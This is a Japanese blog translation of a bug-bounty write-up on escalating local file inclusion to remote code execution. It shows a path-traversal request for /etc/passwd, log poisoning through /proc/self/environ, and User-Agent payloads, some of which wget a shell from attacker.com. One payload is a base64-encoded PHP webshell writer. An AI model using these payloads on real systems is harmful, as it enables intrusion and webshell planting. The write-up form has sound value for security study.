Shikata Ga Nai

Private? There is no such things.

Leveraging LFI to RCE in a website with +20000 usersを訳してみた

Hello there, ('ω')ノ

 

20000 人以上のユーザがいる Web サイトで LFI を RCE に活用を。

 

脆弱性:

 LFI

 RCE

 

記事:

 https://infosecwriteups.com/leveraging-lfi-to-rce-in-a-website-with-20000-users-129050f9982b

 

LFI 脆弱性の発見:

Web サイトを参照して、興味深いエンドポイントを見つけられるかどうかを。

確認するのに [お問い合わせ] をクリックすると。

興味深いエンドポイントにつながって。

 

 https://www.website.com/index.php?pg=contact.php

 

pg パラメータのファジングを開始したところ、次のペイロードを使用して。

LFI が可能であることがわかって。

 

 https://www.website.com/index.php?pg=../../../../etc/passwd

 

これまでのところ、LFI はうまくいっていますが、影響を増やすことに。


LFIからRCEへ:

LFI の脆弱性を RCE にエスカレートするために考えられるすべての既知の手法を。

使用したところ、/proc/self/environ を読み取ることができることがわかったので。

次のコードを入力すると情報が漏洩して。

 

 https://www.website.com/index.php?pg=../../../../proc/self/environ

 

出力を分析すると、/proc/self/environ の下にあるファイルに。

HTTP_USER_AGENT などのいくつかの環境変数が含まれていることがわかって。

 

 

Burp Suite を起動して、User-Agent の値を変更してリクエストを送信して。

User-Agent に次の値を追加してみると。

 

system() を試しましたが、RCE はなし:

 User-Agent: <?system('wget http://attacker.com/shell.txt -O shell.php');?>

 

exec() を試しましたが、RCE はなし:

 User-Agent: <?exec('wget http://attacker.com/shell.txt -O shell.php');?>

 

phpinit() を試しましたが、失敗:

 User-Agent: <?php phpinfo(); ?>

 

サーバ内にファイルを書き込めるのを忘れていたので。

以下のペイロードを試すことに。

User-Agent HTTP ヘッダで使用するペイロードを作成することに。

 

User-Agent: <?php $a = base64_decode('PD9waHAgCiAgJGEgPSAkX1BPU1RbJ2NvZGUnXTsKICAkZmlsZSA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwndycpOwogIEBmd3JpdGUoJGZpbGUsJGEpOwogIEBmY2xvc2UoJGZpbGUpOwo/Pgo8Y2VudGVyPgogIDxmb3JtIG1ldGhvZD0icG9zdCIgaWQ9ImZvcm0iPgogICAgPGgyPkZpbGUgV3JpdGVyPC9oMj4KICAgIEZpbGUgTmFtZTxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9InNoZWxsLnBocCI+PGJyPgogICAgU2hlbGwgQ29kZTxicj48dGV4dGFyZWEgbmFtZT0iY29kZSIgZm9ybT0iZm9ybSIgcGxhY2Vob2xkZXI9IlBhc3RlIHlvdXIgc2hlbGwgaGVyZSI+PC90ZXh0YXJlYT48YnI+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iV3JpdGUiPgogIDwvZm9ybT4KPC9jZW50ZXI+Cg=='); $file = fopen('nadeshot.php','w'); echo fwrite($file,$a); fclose($file); ?>

 

使用ペイロードの説明:

Webshel​​l は base64 でエンコードされていて、変数a に格納されて。

元の webshel​​l php コードは 下記のもので。

 

 https://github.com/alita-ido/PHP-File-Writer/blob/master/lfi-writer.php

 

$a = base64_decode('webshel​​l_base64_encoded_code_here');

 

その後、nadeshot.php という名前のファイルを書き込むようにサーバに指示して。

 $file = fopen('nadeshot.php','w');

 

次に、サーバーはコード (base64 でデコード) を nadeshot.php に書き込みます。

 echo fwrite($file,$a);

 

次に、サーバはファイルを保存します。

 fclose($file);

 

それでは、このペイロード全体を Burp Suite で実行してみて、何が起こるかを。

 

 

レスポンス 200 (OK) を取得して。

https://website.com/nadeshot.php に移動して。

正常に実行されたかどうかを確認することに。

下記が、アップロードされた webshel​​lで。

 

 

webshel​​lは、 /nadeshot.php にアップロードされて。

それでは、単純な .txt ファイルを作成して動作するかどうかを確認すると。

 

 

nadeshot.txt という名前のテキスト ファイルを作成し、[Write] をクリックして。

https://website.com/nadeshot.txt にアクセスすると。

テキスト ファイルが表示されて。

LFI から RCE への影響力を高めることに成功して。

 

 

Best regards, (^^ゞ